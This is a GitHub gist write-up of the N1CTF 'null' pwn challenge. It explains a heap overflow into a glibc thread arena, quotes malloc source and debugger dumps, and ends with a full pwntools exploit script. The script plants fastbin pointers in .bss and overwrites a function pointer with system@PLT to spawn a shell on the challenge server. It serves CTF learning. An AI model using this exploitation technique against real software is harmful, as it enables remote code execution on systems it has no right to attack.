Skip to content

Instantly share code, notes, and snippets.

@romanking98
Last active April 18, 2018 13:57
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save romanking98/630f2b3c7216ae389f4ea3ce551041e1 to your computer and use it in GitHub Desktop.
Save romanking98/630f2b3c7216ae389f4ea3ce551041e1 to your computer and use it in GitHub Desktop.

NULL ( 17-18 solves)

Challenge makes a thread to do the job. So , a thread_arena is created on a new mmap_segment.

Bug

Overflow in read function :

 for ( i = 0LL; ; i += v3 )
  {
    result = i;
    if ( i >= size )
      break;
    v3 = read(0, (void *)(heap_ptr + i), size);
    if ( v3 <= 0 )
    {
      write(1, "I/O error\n", 0xAuLL);
      sub_400AD6(1u);
    }
  }

We can overflow in thread's heap.

Attack vectors

I discovered 2 attack vectors . Only 1 , however, could solve the challenge. Thankfully, I had source code for sysmalloc and arena .

Jump to PATH 2 for working solution. This one is just analysis.

PATH 1

Overwrite top chunk with small size and then trigger _int_free in order to get an unsorted bin. Not same as House of Orange, since this works on thread_arena, and checks are different.

if (av != &main_arena)
{
      heap_info *old_heap, *heap;
     ...
}

We need to reach _int_free codepath. See below code :

if ((long) (MINSIZE + nb - old_size) > 0 && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
{
          av->system_mem += old_heap->size - old_heap_size;
          set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
                    | PREV_INUSE);
}
else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
{
          /* Use a newly allocated heap.  */
          heap->ar_ptr = av;
          heap->prev = old_heap;
          av->system_mem += heap->size;
          /* Set up the new top.  */
          top (av) = chunk_at_offset (heap, sizeof (*heap));
          set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);

          /* Setup fencepost and free the old top chunk with a multiple of
             MALLOC_ALIGNMENT in size. */
          /* The fencepost takes at least MINSIZE bytes, because it might
             become the top chunk again later.  Note that a footer is set
             up, too, although the chunk is marked in use. */
          old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
          set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
          if (old_size >= MINSIZE)
            {
              set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
              set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
              set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
              _int_free (av, old_top, 1);
            }
}
	    

So, after we overwrite top chunk with small size, we need to still pass the following check:

if ((long) (MINSIZE + nb - old_size) > 0 && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)

In House Of Orange, there was no grow_heap , everything was handled by __morecore(). Here , we need to make grow_heap return error.

Here is its source code :

static int
grow_heap(heap_info *h, long diff)
{
 size_t page_mask = GLRO(dl_pagesize) - 1;
 long new_size;

 diff = (diff + page_mask) & ~page_mask;
 new_size = (long)h->size + diff;
 if((unsigned long) new_size > (unsigned long) HEAP_MAX_SIZE)
   return -1;
 if((unsigned long) new_size > h->mprotect_size) {
   if (__mprotect((char *)h + h->mprotect_size,
   	   (unsigned long) new_size - h->mprotect_size,
   	   PROT_READ|PROT_WRITE) != 0)
     return -2;
   h->mprotect_size = new_size;
 }

 h->size = new_size;
 return 0;
}

The only way to bypass this is if we made mprotect fail. So , if we made our heap segment close to a different memory segment. Normally, its above a non-readable,writable and executable page so that it can easily extend into it. But if we spam alloc to make it above a libc segment, and then overwrite top chunk, we can trigger _int_free.

gef➤  x/20xg 0x7f9503ffcfe0-0x800
0x7f9503ffc7e0:	0x0000000000000000	0x0000000000000000
0x7f9503ffc7f0:	0x0000000000000000	0x0000000000000000
0x7f9503ffc800:	0x0000000000000000	0x0000000000000000
0x7f9503ffc810:	0x0000000000000000	0x0000000000000000
0x7f9503ffc820:	0x0000000000000000	0x0000000000000000
0x7f9503ffc830:	0x0000000000000000	0x00000000000007b1
0x7f9503ffc840:	0x00007f9500000548	0x00007f9500000548  < - - Finally
0x7f9503ffc850:	0x00007f9503ffc830	0x00007f9503ffc830
0x7f9503ffc860:	0x0000000000000000	0x0000000000000000
0x7f9503ffc870:	0x0000000000000000	0x0000000000000000

With this, we can do unsorted bin attack on known addresses (like in bss ), and also in the threads arena (partial overwrites) Unfortunately , that lead nowhere.

Path 2

If we spam mallocs, then we can make possible a certain case where the mmap segments are continuous with each other, and the segment where we malloc will be right above the thread_arena, hence we will overflow into thread_arena.

VMMAP Output :

gef➤  v
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /home/ubuntu/china-ctf/distrib/null
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /home/ubuntu/china-ctf/distrib/null
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /home/ubuntu/china-ctf/distrib/null
0x0000000001ba8000 0x0000000001bc9000 0x0000000000000000 rw- [heap]
0x00007f5a78000000 0x00007f5a80000000 0x0000000000000000 rw- < -- we control
0x00007f5a80000000 0x00007f5a83ffd000 0x0000000000000000 rw- < -- thread_arena
0x00007f5a83ffd000 0x00007f5a84000000 0x0000000000000000 ---
0x00007f5a87071000 0x00007f5a87072000 0x0000000000000000 ---

Now , OVERFLOW

Here we can either overwrite top chunk ptr to point in BSS.

I however chose to spam a fastbin freelist ptr in bss (near stdout), since malloc checks fastbin freelists first.

gef➤  x/20xg 0x00007f5a80000000
0x7f5a80000000:	0x000000000060201d	0x000000000060201d
0x7f5a80000010:	0x0000000003ffd000	0x0000000003ffd000
0x7f5a80000020:	0x0000000300000000	0x000000000060201d
0x7f5a80000030:	0x000000000060201d	0x000000000060201d
0x7f5a80000040:	0x000000000060201d	0x000000000060201d
0x7f5a80000050:	0x000000000060201d	0x000000000060201d
0x7f5a80000060:	0x000000000060201d	0x000000000060201d
0x7f5a80000070:	0x000000000060201d	0x00007f5a7fffff0a
0x7f5a80000080:	0x00007f5a7bffffc0	0x00007f5a80000078
0x7f5a80000090:	0x00007f5a80000078	0x00007f5a80000088
gef➤  x/4xg 0x60201d
0x60201d:	0x5a87c368e0000000	0x000000000000007f
0x60202d:	0x0000000000000000	0x0000400af8000000

Now we overwrite function ptr with system@PLT , and shell

Flag : N1CTF{a_singie_spark_burns_the_arena}

Exploit script :

from pwn import *
import subprocess

password = "i'm ready for challenge"

def alloc(size, blocks, data):
    r.sendlineafter('Action: ', '1')
    r.sendlineafter('Size: ', str(size))
    r.sendlineafter('blocks: ', str(blocks))
    r.sendlineafter('(0/1): ', '1')
    r.sendafter('Input: ', 'A'*8)


    for i in xrange(4):
        r.send(p64(0x411))

    r.send(p64(0x411) * size)

    return

def hack():
    r.sendlineafter('password: \n', password)

    r.sendlineafter('Action: ', '1')
    r.sendlineafter('Size: ', str(0xc8))
    r.sendlineafter('blocks: ', "3")
    r.sendlineafter('(0/1): ', '0')
#    r.sendafter('Input: ', 'A'*8)


    #alloc(0xc8, 3, 'lel')
    #raw_input()

    for i in xrange(12):
        r.sendlineafter('Action: ', '1')
        r.sendlineafter('Size: ', "16300")
        r.sendlineafter('blocks: ', "999")
        r.sendlineafter('(0/1): ', '0')
	print str(i) + "Iteration"
    r.sendlineafter('Action: ', '1')
    r.sendlineafter('Size: ', "16300")
    r.sendlineafter('blocks: ', "334")
    r.sendlineafter('(0/1): ', '0')
    for i in xrange(14):
        r.sendlineafter('Action: ', '1')
        r.sendlineafter('Size: ', "200")
        r.sendlineafter('blocks: ', "0")
        r.sendlineafter('(0/1): ', '1')
	r.recvuntil("t:")
	lol = "C"*100
	lol += str(i)
	lol = lol.ljust(199,"D")
	r.sendline(lol)
	print str(i) + "Part 2"
    r.sendlineafter('Action: ', '1')
    r.sendlineafter('Size: ', "20")
    r.sendlineafter('blocks: ', "10")
    r.sendlineafter('(0/1): ', '0')

    r.sendlineafter('Action: ', '1')
    r.sendlineafter('Size: ', "600")
    r.sendlineafter('blocks: ', "0")
    r.sendlineafter('(0/1): ', '1')
    r.recvuntil("t:")

    buf = "X"*598
    r.sendline(buf)
#    finale = "Y"*193
    finale = "Y"
    finale += p64(0x31)

    finale += p64(0x00)*4
    finale += p64(0x60201d)*2
    finale += p64(0x0000000003ffd000)*2
    finale += p64(0x0000000300000000)
    finale += p64(0x60201d)*10
#    finale += "Z"*8
    r.sendline(finale)
    raw_input("SEE")

    r.sendlineafter('Action: ', '1')
    r.sendlineafter('Size: ', "96")
    r.sendlineafter('blocks: ', "0")
    r.sendlineafter('(0/1): ', '1')
    r.recvuntil("t:")

    lol = "/bin/sh\x00RRR"
    lol += p64(0x400978)
    lol = lol.ljust(95,"R")
    r.sendline(lol)

    r.interactive()


r = remote('47.75.57.242', 5000)
#r = process("./null")
raw_input()
r.recvuntil("28 ")
leak = r.recv(8)
cmd = "hashcash -m -b 28 %s" % leak
proc = subprocess.Popen([cmd], stdout=subprocess.PIPE, shell=True)
cmd = "hashcash -m -b 28 %s" % leak
(out, err) = proc.communicate()
print out
r.sendline(out)
hack()
@pullp
Copy link

pullp commented Apr 18, 2018

hello, I have a problem.
when I debug, I found that every time the offset between the thread_arena's malloc_state instance and begin of libc is different. so I don't know how many times I should spam malloc. can you tell me why. thanks a lot!

update:
I got it. every time there are some non-readable spaces and their sizes are random, but they don't affect the size I could malloc between thread_arena and libc

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment